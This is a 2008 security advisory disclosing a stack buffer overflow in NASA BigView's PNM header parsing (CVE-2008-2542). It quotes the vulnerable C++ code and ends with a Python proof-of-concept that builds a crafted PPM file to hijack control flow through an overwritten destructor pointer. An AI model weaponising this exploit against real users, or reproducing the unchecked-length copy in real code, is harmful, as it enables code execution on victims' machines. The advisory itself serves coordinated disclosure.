6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.14 Low
EPSS
Percentile
95.6%
**Title:**NASA BigView Stack Buffer Overflow
**Advisory ID:**CORE-2008-0425
Advisory URL:<https://www.coresecurity.com/core-labs/advisories/nasa-big-view>
**Date published:**2008-06-04
**Date of last update:**2008-06-03
**Vendors contacted:**NASA Ames Research Center
**Release mode:**Coordinated release
**Class:**Stack Overflow
**Remotely Exploitable:**Yes (client side)
**Locally Exploitable:**No
Bugtraq Name:29517
CVE Name:CVE-2008-2542
NASA BigView [1] allows for interactive panning and zooming of images of arbitrary size on desktop PCs running Linux. Using this software, one can explore (on relatively modest machines) images such as the Mars Orbiter Camera mosaic [92160x33280 pixels].
The BigView package suffers from a stack buffer overflow when parsing specially crafted (invalid) PNM input files. If successful, a malicious third party could trigger execution of arbitrary code within the context of the application, or otherwise crash the whole application. The vulnerability is caused due to the BigView package not properly checking the line length of the ascii PNM input files before copying it on a stack buffer. This can be exploited to get arbitrary code execution by opening a specially crafted file.
Exploitation of the PNM overflow problem requires the user to explicitly open a malicious file. The user should refrain from opening files from untrusted third parties or accessing untrusted Web sites until the patch is applied.
The NASA BigView team has published a new version fixing this vulnerability. The tarball is available on BigViewβs website: <http://opensource.arc.nasa.gov/project/bigview/>
This vulnerability was discovered and researched by Alfredo Ortega, from CORE IMPACTβs Exploit Writing Team (EWT), Core Security Technologies.
The BigView package suffers from a stack buffer overflow when parsing specially crafted (invalid) PNM input files. If successful, a malicious third party could trigger execution of arbitrary code within the context of the application, or otherwise crash the whole application.
The vulnerability resides in the following code at Ppm/ppm.C
. Here, the function getline()
reads data from a file into a buffer. This is the complete function:
418 static void getline(int fin, char* lineBuf, int len) 419 { 420 bool done=false; 421 int index=0; 422 lineBuf[index]=' '; 423 while(! done){ 424 lineBuf[index] = getOneChar(fin); 425 if( lineBuf[index]==10 ) { 426 lineBuf[index]=0; 427 done=true; 428 } 429 ++index; 430 } 431 lineBuf[index]=0; 432 }
Clearly the function requires the length of the destination buffer, but it is never used internally. This function is used on the PPM::ppmHeader()
function, to read the header of the PPM file.
56 PPM::ppmHeader(string filename, PPM::Format* format, 57 int* cpp, int* bpc, 58 int* sizeX, int* sizeY, 59 int* imageOffset) 60 { 61 std::ostringstream err; 62 char magic[3],lineBuf[512],junk; 63 int res,max; . . . 115 while( junk == '#' ){ 116 getline(fin,lineBuf,512); 117 cout << "Comment:"<<lineBuf<<":"<<endl; 118 junk = getOneChar(fin); 119 }
Here, the lineBuf
buffer is allocated on the stack, with a size of 512 bytes. If the PPM contains a line longer than 512 bytes on the header, a buffer overflow will ensue. The following proof of concept is a python script that creates a PNM file that triggers the overflow and jumps to an arbitrary position (0x41414141 on the PoC) when loaded with BigView compiled on Ubuntu 6.06 LTS.
## BigView exploit ## Alfredo Ortega - Core Security Exploit Writers Team (EWT) ## Works against BigView "browse" revision 1.8 compiled on ubuntu 6.06 Desktop i386 import struct w = open("crash.ppm","wb") w.write("""P3 #CREATOR: The GIMP's PNM Filter Version 1.0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""") # This exploit is not trivial, because the function PPM::ppmHeader() doesn't return inmmediately, and we must modify internal variables to cause an overwrite of a C++ string destructor executed at the end of the function to gain control of EIP # PS.: Congrats for the Phoenix mars Lander! for i in range(7): w.write(chr(i)*4) w.write("AA") w.write(struct.pack("<L",0xaaaaaaaa)) w.write(struct.pack("<L",0xbbbbbbbb)) w.write(struct.pack("<L",0xcccccccc)) w.write(struct.pack("<L",0x08080000)) w.write(struct.pack("<L",0x08080000)*48) #The address of the destructor is hard-coded. Sorry but this is only a PoC! destination = 0x0805b294 # destructor value = 0x41414141 #address to jump to w.write(struct.pack("<L",destination)) # destination w.write(""" %d 300 255 255 255 255 """ % value) w.close()
[1] <http://opensource.arc.nasa.gov/project/bigview/>
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